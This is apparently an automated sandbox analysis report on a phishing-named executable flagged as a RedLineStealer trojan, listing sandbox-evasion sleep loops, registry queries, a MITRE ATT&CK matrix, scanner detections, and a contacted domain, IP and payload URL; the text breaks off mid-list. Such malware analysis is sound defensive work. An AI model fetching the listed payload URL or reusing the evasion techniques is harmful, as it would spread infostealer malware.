Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe TID: 1960	Thread sleep time: -99532s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe TID: 1960	Thread sleep time: -99406s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe TID: 1960	Thread sleep time: -99297s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe TID: 1960	Thread sleep time: -99172s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe TID: 1960	Thread sleep time: -99063s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe TID: 1960	Thread sleep time: -98938s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe TID: 1960	Thread sleep time: -98790s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe TID: 1960	Thread sleep time: -98658s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe TID: 1960	Thread sleep time: -98545s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe TID: 1960	Thread sleep time: -98422s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe TID: 1960	Thread sleep time: -98270s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe TID: 1960	Thread sleep time: -98141s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe TID: 1960	Thread sleep time: -97961s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe TID: 1960	Thread sleep time: -97844s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe TID: 1960	Thread sleep time: -97734s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe TID: 1960	Thread sleep time: -97625s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe TID: 1960	Thread sleep time: -97516s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe TID: 1960	Thread sleep time: -97407s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe TID: 1960	Thread sleep time: -97282s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe TID: 1960	Thread sleep time: -97157s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe TID: 1960	Thread sleep time: -97032s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe TID: 1960	Thread sleep time: -96907s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe TID: 1960	Thread sleep time: -96797s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe TID: 1960	Thread sleep time: -99922s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe TID: 1960	Thread sleep time: -99797s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe TID: 1960	Thread sleep time: -99687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe TID: 1960	Thread sleep time: -99578s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe TID: 1960	Thread sleep time: -99469s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe TID: 1960	Thread sleep time: -99344s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe TID: 1960	Thread sleep time: -99234s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe TID: 1960	Thread sleep time: -99125s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe TID: 1960	Thread sleep time: -99016s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe TID: 1960	Thread sleep time: -98906s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe TID: 1960	Thread sleep time: -98797s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe TID: 1960	Thread sleep time: -98687s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe TID: 1960	Thread sleep time: -98558s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe TID: 1960	Thread sleep time: -98446s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe TID: 1960	Thread sleep time: -98340s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe TID: 1960	Thread sleep time: -98224s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe TID: 1960	Thread sleep time: -98108s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe TID: 1960	Thread sleep time: -97984s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe TID: 1960	Thread sleep time: -97875s >= -30000s	Jump to behavior

Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Thread delayed: delay time: 100000	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Thread delayed: delay time: 99891	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Thread delayed: delay time: 99776	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Thread delayed: delay time: 99657	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Thread delayed: delay time: 99532	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Thread delayed: delay time: 99406	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Thread delayed: delay time: 99297	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Thread delayed: delay time: 99172	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Thread delayed: delay time: 99063	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Thread delayed: delay time: 98938	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Thread delayed: delay time: 98790	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Thread delayed: delay time: 98658	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Thread delayed: delay time: 98545	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Thread delayed: delay time: 98422	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Thread delayed: delay time: 98270	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Thread delayed: delay time: 98141	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Thread delayed: delay time: 97961	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Thread delayed: delay time: 97844	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Thread delayed: delay time: 97734	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Thread delayed: delay time: 97625	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Thread delayed: delay time: 97516	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Thread delayed: delay time: 97407	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Thread delayed: delay time: 97282	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Thread delayed: delay time: 97157	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Thread delayed: delay time: 97032	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Thread delayed: delay time: 96907	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Thread delayed: delay time: 96797	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Thread delayed: delay time: 99922	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Thread delayed: delay time: 99797	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Thread delayed: delay time: 99687	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Thread delayed: delay time: 99578	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Thread delayed: delay time: 99469	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Thread delayed: delay time: 99344	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Thread delayed: delay time: 99234	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Thread delayed: delay time: 99125	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Thread delayed: delay time: 99016	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Thread delayed: delay time: 98906	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Thread delayed: delay time: 98797	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Thread delayed: delay time: 98687	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Thread delayed: delay time: 98558	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Thread delayed: delay time: 98446	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Thread delayed: delay time: 98340	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Thread delayed: delay time: 98224	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Thread delayed: delay time: 98108	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Thread delayed: delay time: 97984	Jump to behavior
Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	Thread delayed: delay time: 97875	Jump to behavior

Source: FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4493517178.000000000143A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll

Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Queries volume information: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe VolumeInformation

Jump to behavior

Source: C:\Users\user\Desktop\FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 DLL Side-Loading	1 DLL Side-Loading	1 Disable or Modify Tools	OS Credential Dumping	1 Query Registry	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	31 Virtualization/Sandbox Evasion	LSASS Memory	1 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	1 DLL Side-Loading	Security Account Manager	31 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	Software Packing	LSA Secrets	12 System Information Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	71%	ReversingLabs	ByteCode-MSIL.Trojan.RedLineStealer
FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe	100%	Joe Sandbox ML

Source	Detection	Scanner	Label
https://www.oleonidas.gr/fang/Vvzcv.dat	0%	Avira URL Cloud	safe
https://www.oleonidas.gr/fang/Vvzcv.datL	0%	Avira URL Cloud	safe
https://www.oleonidas.gr	0%	Avira URL Cloud	safe
http://www.oleonidas.gr	0%	Avira URL Cloud	safe
http://oleonidas.grd	0%	Avira URL Cloud	safe
http://oleonidas.gr	0%	Avira URL Cloud	safe
http://www.oleonidas.grd	0%	Avira URL Cloud	safe
https://www.oleonidas.grD	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
oleonidas.gr	185.78.221.73	true	false		unknown
www.oleonidas.gr	unknown	unknown	false		unknown

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://www.oleonidas.gr/fang/Vvzcv.dat	false	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://www.oleonidas.gr/fang/Vvzcv.datL	FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003684000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000037E8000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.000000000387F000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.000000000371D000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003595000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000038AB000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003851000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003744000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.000000000369D000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003893000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000036E3000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003837000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.000000000372B000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000036B9000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.000000000382B000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000036FF000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000038B5000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000037D7000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003811000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
https://www.oleonidas.gr	FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003188000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://oleonidas.gr	FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003412000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003203000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.000000000367B000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.000000000339A000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000038E4000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003684000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000037E8000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003245000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.000000000387F000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.00000000038D6000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.000000000361D000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003844000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003637000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003595000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - DELIVERY ORDER NO. INM303.exe, 00000000.00000002.4494334064.0000000003384000.00000004.00000800.00020000.00000000.sdmp, FW EBS - Goods for M-PROJECTS - PROFORMA - PAYMENT - SWIFT - 